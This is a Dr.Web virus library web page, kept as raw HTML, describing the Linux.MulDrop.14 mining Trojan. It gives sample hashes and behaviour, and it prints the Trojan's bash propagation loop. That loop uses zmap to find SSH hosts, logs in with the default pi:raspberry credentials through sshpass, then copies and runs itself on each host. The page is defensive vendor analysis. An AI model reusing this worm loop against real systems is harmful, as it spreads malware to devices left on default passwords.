                <span class="Btn-text _viewM_fontS">Trial</span><span class="IconSide"><i class="Icon"><svg class="Icon-cnt" width="25" height="25"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#common-arrowRight"></use></svg></i></span>
              </span>
            </a>
          </div>
        </div>      
        <div class="paddTM paddXM -Grid_1of3">
          <div class="Grid">
            <div class="paddXS">
              <ul itemscope itemtype="http://www.schema.org/SiteNavigationElement">
                <li class="NAV-itm"  itemprop="name">
                  <a
                    class="NAV-link js-data-dyn"
                    href="https://www.drweb.com/vxcube/?lng=en"
                    data-dyn-mobi-menu="Dr.Web vxCube // About"
                    itemprop="url">
                    About
                  </a>
                </li>
                <li class="NAV-itm"  itemprop="name">
                  <a
                    class="NAV-link js-data-dyn"
                    href="https://www.drweb.com/vxcube/licensing/?lng=en"
                    data-dyn-mobi-menu="Dr.Web vxCube // Licensing"
                    itemprop="url">
                    Licensing
                  </a>
                </li>
              </ul>
            </div>
          </div><div class="Grid">
            <div class="paddXS">
              <ul itemscope itemtype="http://www.schema.org/SiteNavigationElement">
                <li class="NAV-itm"  itemprop="name">
                  <a
                    class="NAV-link js-data-dyn"
                    href="https://www.drweb.com/vxcube/reports/?lng=en"
                    data-dyn-mobi-menu="Dr.Web vxCube // Reports"
                    itemprop="url">
                    Reports
                  </a>
                </li>
                <li class="NAV-itm"  itemprop="name">
                  <a
                    class="NAV-link js-data-dyn"
                    href="https://www.drweb.com/vxcube/reports/?lng=en"
                    data-dyn-mobi-menu="Dr.Web vxCube // Statistics"
                    itemprop="url">
                    Statistics
                  </a>
                </li>
              </ul>
            </div>
          </div><div class="Grid">
            <div class="paddXS">
            <ul itemscope itemtype="http://www.schema.org/SiteNavigationElement">
                <li class="NAV-itm"  itemprop="name">
                  <a
                    class="NAV-link js-data-dyn"
                    href="https://vxcube.drweb.com/?lng=en"
                    data-dyn-mobi-menu="Dr.Web vxCube // Sign in to Dr.Web vxCube"
                    itemprop="url">
                    Sign in to Dr.Web vxCube
                  </a>
                </li>
                </ul>
            </div>
          </div>
        </div>
  
      </dd>
  
    </dl>
  </div>
  
  <div class="NAV-wrp">
    <dl class="NAV-case on_hover">    

      <dt class="NAV-section">
        <a href="https://antifraud.drweb.com/expertise/?lng=en" class="NAV-section-link js-data-dyn cursorPointer" data-dyn-mobi-menu="VCI investigations">
          <span class="NAV-section-name">VCI investigations</span>
        </a>
      </dt>

    </dl>
  </div>
  
  <div class="NAV-wrp">
    <dl class="NAV-case on_hover">    

      <dt class="NAV-section">
        <a href="javascript:void(0)" class="NAV-section-link js-data-dyn margLS">
          <span class="NAV-section-name fontS=">Virus library</span>
        </a>
        <div class="NAV-case-arrow">
          <i data-icon="#common-arrowDown:hidden"></i>
        </div>
      </dt>

      <dd class="NAV-content use_hover width_2of8">  
        <div class="margTM margXM">

                <ul itemscope itemtype="http://www.schema.org/SiteNavigationElement">
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://vms.drweb.com/search/?lng=en"                
                        data-dyn-mobi-menu="Virus library // Virus descriptions"
                        itemprop="url">
                        Virus descriptions
                        </a>
                    </li>
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://vms.drweb.com/vulnerabilities/?lng=en"
                        data-dyn-mobi-menu="Virus library // Vulnerability descriptions"
                        itemprop="url">
                        Vulnerability descriptions
                        </a>
                    </li>                    
                </ul>

        </div>  
      </dd>      

    </dl>
  </div>
  
  <div class="NAV-wrp">
    <dl class="NAV-case on_hover static">
      
      <dt class="NAV-section">
        <a href="javascript:void(0)" class="NAV-section-link">
          <span class="NAV-section-name">Knowledge base</span>
        </a>
        <div class="NAV-case-arrow">
          <i data-icon="#common-arrowDown:hidden"></i>
        </div>
      </dt>
  
      <dd class="NAV-content use_hover width_6of6">
  
        <div class="paddTM paddXM -Grid_cell -Grid_1of4">
          <div class="Grid">
            <div class="paddXS">
              <h4 class="NAV-title noMarg">Technologies</h4>
              <ul itemscope itemtype="http://www.schema.org/SiteNavigationElement">
                <li class="NAV-itm"  itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://vms.drweb.com/database/?lng=en"
                  data-dyn-mobi-menu="Knowledge base // Technologies // About the Dr.Web virus database"
                  itemprop="url">
                  About the Dr.Web virus database 
                  </a>
                </li>
                <li class="NAV-itm"  itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://vms.drweb.com/ext_database/?lng=en"
                  data-dyn-mobi-menu="Knowledge base // Technologies // Extended databases"
                  itemprop="url">
                  Extended databases 
                  </a>
                </li>
                <li class="NAV-itm"  itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://products.drweb.com/technologies/?lng=en"
                  data-dyn-mobi-menu="Knowledge base // Technologies // Dr.Web technologies"
                  itemprop="url">
                  Dr.Web technologies 
                  </a>
                </li>
              </ul>
            </div>
          </div><div class="Grid">
            <div class="paddXS">
              <h4 class="NAV-title noMarg">Terminology</h4>
              <ul itemscope itemtype="http://www.schema.org/SiteNavigationElement">
                <li class="NAV-itm"  itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://vms.drweb.com/classification/?lng=en"                
                  data-dyn-mobi-menu="Knowledge base // Terminology // Dr.Web virus classification"
                  itemprop="url">
                  Dr.Web virus classification
                  </a>
                </li>
                <li class="NAV-itm"  itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://vms.drweb.com/virustypes/?lng=en"
                  data-dyn-mobi-menu="Knowledge base // Terminology // Types of viruses"
                  itemprop="url">
                  Types of viruses
                  </a>
                </li>
                <li class="NAV-itm"  itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://vms.drweb.com/malware/?lng=en"
                  data-dyn-mobi-menu="Knowledge base // Terminology // Malware"
                  itemprop="url">
                  Malware
                  </a>
                </li>
                <li class="NAV-itm" itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://vms.drweb.com/unsolicited/?lng=en"
                  data-dyn-mobi-menu="Knowledge base // Terminology // Unwanted and potentially dangerous software"
                  itemprop="url">
                  Unwanted and potentially dangerous software
                  </a>
                </li>
                <li class="NAV-itm" itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://vms.drweb.com/unsolicited_elements/?lng=en"
                  data-dyn-mobi-menu="Knowledge base // Terminology // Unwanted and potentially dangerous elements"
                  itemprop="url">
                  Unwanted and potentially dangerous elements
                  </a>
                </li>
                <li class="NAV-itm"  itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://vms.drweb.com/glossary/?lng=en"
                  data-dyn-mobi-menu="Knowledge base // Terminology // Glossary"
                  itemprop="url">
                  Glossary
                  </a>
                </li>
              </ul>
            </div>
          </div><div class="Grid">
            <div class="paddXS">
              <h4 class="NAV-title">Training and education</h4>
              <ul itemscope itemtype="http://www.schema.org/SiteNavigationElement">
                <li class="NAV-itm"  itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://company.drweb.com/press/booklets/?lng=en"
                  data-dyn-mobi-menu="Knowledge base // Training and education // Brochures"
                  itemprop="url">
                  Brochures
                  </a>
                </li>
                <li class="NAV-itm"  itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://training.drweb.com/?lng=en"
                  data-dyn-mobi-menu="Knowledge base // Training and education // Training courses"
                  itemprop="url">
                  Training courses
                  </a>
                </li>
                <li class="NAV-itm"  itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://antifraud.drweb.com/info/?lng=en"
                  data-dyn-mobi-menu="Knowledge base // Training and education // Educational projects"
                  itemprop="url">
                  Educational projects
                  </a>
                </li>
              </ul>
            </div>
          </div><div class="Grid">
            <div class="paddXS">
              <h4 class="NAV-title">Myths</h4>
              <ul itemscope itemtype="http://www.schema.org/SiteNavigationElement">
                <li class="NAV-itm"  itemprop="name">
                  <a
                  class="NAV-link js-data-dyn"
                  href="https://antifraud.drweb.com/av_myths/?lng=en"
                  data-dyn-mobi-menu="Knowledge base // Myths // Myths about anti-viruses"
                  itemprop="url">
                  Myths about anti-viruses
                  </a>
                </li>              
              </ul>
            </div>
          </div>
        </div>
  
      </dd>
  
    </dl>
  </div>
  
  <div class="NAV-wrp">
    <dl class="NAV-case on_hover static">   
 
      <dt class="NAV-section">
        <a href="javascript:void(0)" class="NAV-section-link js-data-dyn">
          <span class="NAV-section-name">News</span>
        </a>
        <div class="NAV-case-arrow">
          <i data-icon="#common-arrowDown:hidden"></i>
        </div>
      </dt>

      <dd class="NAV-content use_hover width_2of8 right">  
        <div class="margTM margXM">

                <ul itemscope itemtype="http://www.schema.org/SiteNavigationElement">
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://news.drweb.com/list/?c=10&lng=en"                
                        data-dyn-mobi-menu="News // Virus reviews"
                        itemprop="url">
                        Virus reviews
                        </a>
                    </li>
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://news.drweb.com/list/?c=9&lng=en"
                        data-dyn-mobi-menu="News // Virus alerts"
                        itemprop="url">
                        Virus alerts
                        </a>
                    </li>                    
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://news.drweb.com/list/?c=38&lng=en"
                        data-dyn-mobi-menu="News // Mobile threat news"
                        itemprop="url">
                        Mobile threat news
                        </a>
                    </li>                    
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://news.drweb.com/list/?c=23&lng=en"
                        data-dyn-mobi-menu="News // Real-time threat news"
                        itemprop="url">
                        Real-time threat news
                        </a>
                    </li>                    
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://news.drweb.com/?lng=en"
                        data-dyn-mobi-menu="News // All news"
                        itemprop="url">
                        All news
                        </a>
                    </li>                    
                </ul>

        </div>  
      </dd>      

    </dl>
  </div>
  </div>

</div>

<div id="ShowIt"></div>

<!-- theme/tile_mobi/head_nav.tt end -->

<!-- theme/tile_mobi/head_body.tt start -->



	<div class="HEAD-body">
		<div class="container paddYC _viewL_none">
  <p class="ROWMENU alignCenter black -inheritedColor noMargY margXC paddYC fontXS">
      </p>
</div>	</div>

<!-- theme/tile_mobi/head_body.tt end -->

</div>
	


<!-- theme/tile_mobi/content.tt start -->


<div class="CONTENT">

		
        <!-- virus.tt -->

            <div class="CellBlock VirusContent">
                <div class="container" itemscope itemtype="http://schema.org/Article">

            <h1 class='alignCenter b fontXXL' itemprop='name headline'>Linux.MulDrop.14</h1><div class="margBM"><p class="margYS">
    <span class="_viewS_fontXS"><b>Added to the Dr.Web virus database:</b></span>
    <span class="paddLS _viewS_block">2017-05-17</span>
</p>
<p class="margYS">
    <span class="_viewS_fontXS"><b>Virus description added:</b></span>
    <span class="paddLS _viewS_block" itemprop="datePublished">2017-06-06</span>
</p>
</div><div itemprop="articleBody"><h4>SHA1:</h4>
<ul><li><tt>00f4fd10d2eff990929e0850b61e23e1819a9ea4</tt></li>
<li><tt>185b5b2ad16b046eebd54b8b87b9e44e1b51dec9</tt></li>
<li><tt>2961159e48dfdb9ccca82f0053391c727c31b017</tt></li>
</ul>
<p>Linux Trojan that is a bash script containing a mining program, which is compressed with gzip and encrypted with base64. Once launched, the script shuts down several processes and installs libraries required for its operation. It also installs zmap and sshpass.</p>
<p>It changes the password of the user “pi” to “\$6\$U1Nu9qCp\$FhPuo8s5PsQlH6lwUdTwFcAUPNzmr0pWCdNJj.p6l4Mzi8S867YLmc7BspmEH95POvxPQ3PzP029yT1L3yi6K1”.</p>
<p>Then, in an infinite loop, using zmap, the Trojan searches for network nodes with an open port 22, after that it uses sshpass to log into them with the following login:password pair: pi:raspberry, and then—to save and run its copy.</p>
<pre><code>NAME=`mktemp -u 'XXXXXXXX'`
 
while &#91; true &#93;; do
    FILE=`mktemp`
    zmap -p 22 -o $FILE -n 100000
    killall ssh scp
    for IP in `cat $FILE`
    do
        sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  &amp;&amp; echo $IP &gt;&gt; /tmp/.r &amp;&amp; sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp &amp;&amp; chmod +x $NAME &amp;&amp; bash -c ./$NAME" &amp;
    done
    rm -rf $FILE
    sleep 10
done</code></pre>
<p><a href="https://news.drweb.com/show/?i=11320&amp;lng=en">News about the Trojan</a></p></div>

                </div>
            </div>

            <div id="block_recom">
                <!-- BLOCK_RECOM_LINUX_NEW -->

<div class="CellBlock noMarg paddTL">
    <div class="container">

        <h3 class="fontL _viewM_alignCenter">Curing recommendations</h3>
        <hr class="Divider noMargT margXC">
        <p class="b fontL main_green_4 paddLL _viewS_noPaddL _viewS_alignCenter _viewS_fontXL">Linux</p>
        
        <div class="recom__item paddXM paddTS _viewS_paddXS">

            <div class="">
                <p>After booting up, run a full scan of all disk partitions with <a class="main_green_4" href="https://products.drweb.com/home/linux/">Dr.Web Anti-virus for Linux</a>.</p>
            </div>

            <div class="-Grid_1of2 -viewS-Grid_1of1 alignCenter paddTM">
                <div class="Grid _viewS_paddBL">
                        <a href="https://download.drweb.com/linux/" class="Grid widthCaptcha bg_violet_4 paddXL paddYM">
                            <span class="fontL b white">Free trial</span>
                        </a>
                        <p class="Grid widthCaptcha alignCenter paddYS">
                            One month (no registration) or three months (registration and renewal discount)
                        </p>
                </div><div class="Grid paddLC _viewS_noPaddL">
                        <a href="https://download.drweb.com/?lng=en" class="Grid widthCaptcha bg_main_green_5 paddXL paddYM">
                            <span class="fontL b white">Download Dr.Web</span>
                        </a>
                        <p class="Grid widthCaptcha alignCenter paddYS">
                            Download by serial number
                        </p>
                 </div>
            </div>            

        </div>        

    </div>
</div>

<!-- BLOCK_RECOM_LINUX_NEW END -->
            </div>

        <!-- virus.tt end -->

    
	
</div>

<!-- theme/tile_mobi/content.tt end -->


<!-- TAIL -->
<div class="TAIL">


	
	<div class="TAIL-case paddYS bg_khaki_1">

				<!-- theme/tile_mobi/footer_content_pi.tt (used TPL__GLOB__TAIL__RESOURCES) start -->


<div class="
  container
  fx
  -fx -fxCol
  -part_4 -@m:part_2 -@s:part_1
  -paddLS -paddRM -paddYS
  -margYS
">

  <div class="white fontXS -noMargB">
    <p>
      <a class="margRS noU" href="https://www.drweb.com/?lng=en">
              <img src="//st.drweb.com/static/new-www/2010/logo.jpg" alt="Dr.Web">
            </a>
      <span class="inlineBlock">&copy; Doctor&nbsp;Web<br>2003 &mdash; 2021</span>
    </p>
    <p>
      Doctor Web is a Russian cybersecurity company focused on threat detection, prevention and response technologies.      <br/><br/>
      <b></b>
    </p>
  </div>

  <div class="-noMargB">
    <ul class="List noList unMargTS">
  <li><a class="uppercase main_green_4" href="https://company.drweb.com/?lng=en">About Doctor Web</a></li>
  <li><a class="uppercase main_green_4" href="https://company.drweb.com/contacts/moscow/?lng=en">Contact info</a></li>
  <li><a class="uppercase main_green_4" href="https://company.drweb.com/contacts/moscow/?lng=en">How to reach us in Moscow</a></li>
  <li><a class="uppercase main_green_4" href="https://company.drweb.com/contacts/offices/?lng=en">Doctor Web offices in other countries</a></li>
  <li><a class="uppercase main_green_4" href="https://company.drweb.com/press/?lng=en">Press center</a></li>
</ul>  </div>

  <div class="-noMargB">
    <p class="margBS fontS uppercase white">Doctor Web in social networks</p>
    <p class="margYS cursorDefault">
      <a class="noU" href="https://www.facebook.com/drwebcom" target="_blank">
  <em class="IconZoom icon_sizeD"><i class="Icon" data-icon="#socnet-fb">
  <svg class="Icon-cnt" width="25" height="25">
    <use xlink:href="#socnet-fb">[Facebook]</use>
  </svg></i></em>
</a>
<a class="noU" href="https://twitter.com/#!/DrWeb_antivirus" target="_blank">
  <em class="IconZoom icon_sizeD"><i class="Icon" data-icon="#socnet-tw">
  <svg class="Icon-cnt" width="25" height="25">
    <use xlink:href="#socnet-tw">[Twitter]</use>
  </svg></i></em>
</a>
<a class="noU" href="https://instagram.com/drwebgram" target="_blank">
  <em class="IconZoom icon_sizeD"><i class="Icon" data-icon="#socnet-im">
  <svg class="Icon-cnt" width="25" height="25">
    <use xlink:href="#socnet-im">[Instagram]</use>
  </svg></i></em>
</a>
<br>
<a class="noU" href="https://www.youtube.com/playlist?list=PLIe8-6Rv6WvrX4nK5Vm99QzNAKk2L5PsN" target="_blank">
  <em class="IconZoom icon_sizeD"><i class="Icon" data-icon="#socnet-yt">
  <svg class="Icon-cnt" width="25" height="25">
    <use xlink:href="#socnet-yt">[YouTube]</use>
  </svg></i></em>
</a>
<a class="noU" href="http://community.spiceworks.com/pages/doctorweb?tab=16182" target="_blank">
  <em class="IconZoom icon_sizeD"><i class="Icon" data-icon="#socnet-sp">
  <svg class="Icon-cnt" width="25" height="25">
    <use xlink:href="#socnet-sp">[Spiceworks]</use>
  </svg></i></em>
</a>    </p>
    <a class="fontXS uppercase main_green_4" href="https://www.drweb.com/user/social/?lng=en">Link accounts</a>
      </div>

  <div class="-noMargB">
        <p class="fontS uppercase white margBS">
      For Telegram      <span class="IconZoom icon_sizeD alignMiddle margLC unMargTC">
        <i data-icon="#socnet-tg"></i>
      </span>
    </p>
    <ul class="List noMarg noList fontXS">
<li><a href="https://telegram.me/DrWebSupportBot" target="_blank" rel="noopener" class="main_green_4">Self-support</a></li>
</ul>            <p class="margTA paddTM">
      <a class="Btn Btn_block Btn_border Btn_transparent" href="https://company.drweb.com/policy/?lng=en">
        <span class="Btn-body">
          <span class="Btn-text fontXS resetLineHeight">
            Privacy Policy          </span><span class="IconSide">
            <span class="defaultNone _viewM_block">
              <i data-icon="#common-arrowRight"></i>
            </span>
          </span>
        </span>
      </a>
    </p>
      </div>

</div>
<!-- theme/tile_mobi/footer_content_pi.tt end -->

		
	</div>
</div>

<div class="noHeight overflowHidden">
<!-- Демо Dr.Web для Android (Huawei-Honor) -->
<div hidden style="display:none" id="msg_android_huawei" data-showIt-every="days:1">
  <div class="paddYC paddXM margRL alignLeft _viewS_noMargT fx fxItemsCenter -noMargB -margTS">

    <p class="margRL">
      <span class="block paddXS resetLineHeight margBS">
        <b class="fontM">Download</b><br>Dr.Web for Android
      </span>
      <a href="https://f2.drweb.com/lr/?to=https%3A%2F%2Fappgallery.huawei.com%2F%23%2Fapp%2FC101669955">
        <img class="margLC" src="https://st.drweb.com/static/new-www/img/drweb_for_android_demo_via_appgallery_en.png" alt="Available in AppGallery">
      </a>
    </p>

    <ul class="IconList IconList_spaceM noMargY">
      <li class="icon" data-icon="#common-tick.main_green_4">
        Free three-month trial <!--Free 14-day trial (когда акция закончится)-->
      </li>
      <li class="icon" data-icon="#common-tick.main_green_4">
        All protection features available
      </li>
      <li class="icon" data-icon="#common-tick.main_green_4">
        Renew your trial license in<br>AppGallery/on Google Pay 
      </li>
    </ul>

  </div>
</div>

<script>
  $(function(){

    var ua = window.navigator.userAgent;
    var isMacLike = /(Mac|iPhone|iPod|iPad)/i.test(navigator.platform);
    var isAndroid = ua.toLowerCase().indexOf("android") > -1;

    /*
      Huawei Honor 8C:
        BKK-L21
      Huawei Honor Holly
        Hol-U19 Build/HUAWEIHol-U19
      Huawei Honor 7
        PLK-AL10 Build/HONORPLK-AL10
      Huawei Honor 4C
        CHM-U01 Build/HonorCHM-U01
      Huawei Honor 3C
        H30-T00 Build/HuaweiH30-T00
        H30-U10 Build/HuaweiH30-U10
    */
    var is_huawei_honor = /\b(HUAWEI|HONOR|BKK-L21|Hol-U19|PLK-AL10|H30-T00|H30-U10|CHM-U01)\b/i.test(ua);
    if (is_huawei_honor) {
      ShowIt.ReadyMsg( '#msg_android_huawei' );
    }

  });
</script><!-- googel anatolics -->
<!-- makros -->

<!-- Googel analytics start -->
  <script>
    (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
    m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
    })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

    ga('create', 'UA-1704973-1', 'auto');
    ga('send', 'pageview');
  </script>
<!-- Googel analytics end -->

<!-- Yandex.Metrika counter -->
<div style="display: none;"><script type="text/javascript" >
   (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
   m[i].l=1*new Date();k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
   (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");

   ym(11804806, "init", {
        clickmap:true,
        trackLinks:true,
        accurateTrackBounce:true,
        webvisor:true,
        ecommerce:"dataLayer"
   });
</script></div>
<noscript><div><img src="https://mc.yandex.ru/watch/11804806" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter --><!-- /theme/tile_mobi/cookie_accept_block.tt start -->


  <script src="https://st.drweb.com/static/js/CookiesControl.js"></script>

  <!-- Использование Cookie-файлов -->
  <div id="cookie_accept_msg_block" class="bottom left ztop space_1of1 white bg_green_3" style="position:fixed; display:none;" hidden>
    <div class="container container_cell paddYS _viewS_fontXS">
      <p class="paddXM margBS">By continuing to use this website, you are consenting to Doctor Web’s use of cookies and other technologies related to the collection of visitor statistics. <a href="https://company.drweb.com/policy/?lng=en" class="main_green_4">Learn more</a></p>
      <p class="noMarg alignCenter -margYS -margXS">
        <button class="Btn Btn_slim bg_main_green_4" onclick="cookieMsg.set('accepted')">
          <span class="Btn-body">
            <span class="Btn-text paddXM">
              OK            </span>
          </span>
        </button>
              </p>
    </div>
  </div>

  <script>

    var cookieMsg = new CookiesControl({
      cookieName: 'SwIt_msg_cookies',
      cookieSettings: {
        expires: 10*365
      }
    });

    $(function(){

      cookieMsg
        .on( 'get', function (cookie) {
          if ( !cookie ) {
            $( 'body' ).append( $('#cookie_accept_msg_block').show() );
          }
        })
        .on( 'set', function (cookie) {
          $('#cookie_accept_msg_block').hide();
        })
        .get(); // force get callbacks

    });

  </script>

<!-- /theme/tile_mobi/cookie_accept_block.tt end --></div>



<!--TPL__GLOB__HEAD__RESOURCES is loaded; TPL__GLOB__TAIL__RESOURCES is loaded; TPL__HOST__HEAD__RESOURCES is no loaded; TPL__HOST__TAIL__RESOURCES is no loaded; -->

<script>document.documentElement.className += ' docReady-';</script>
</body>
</html>


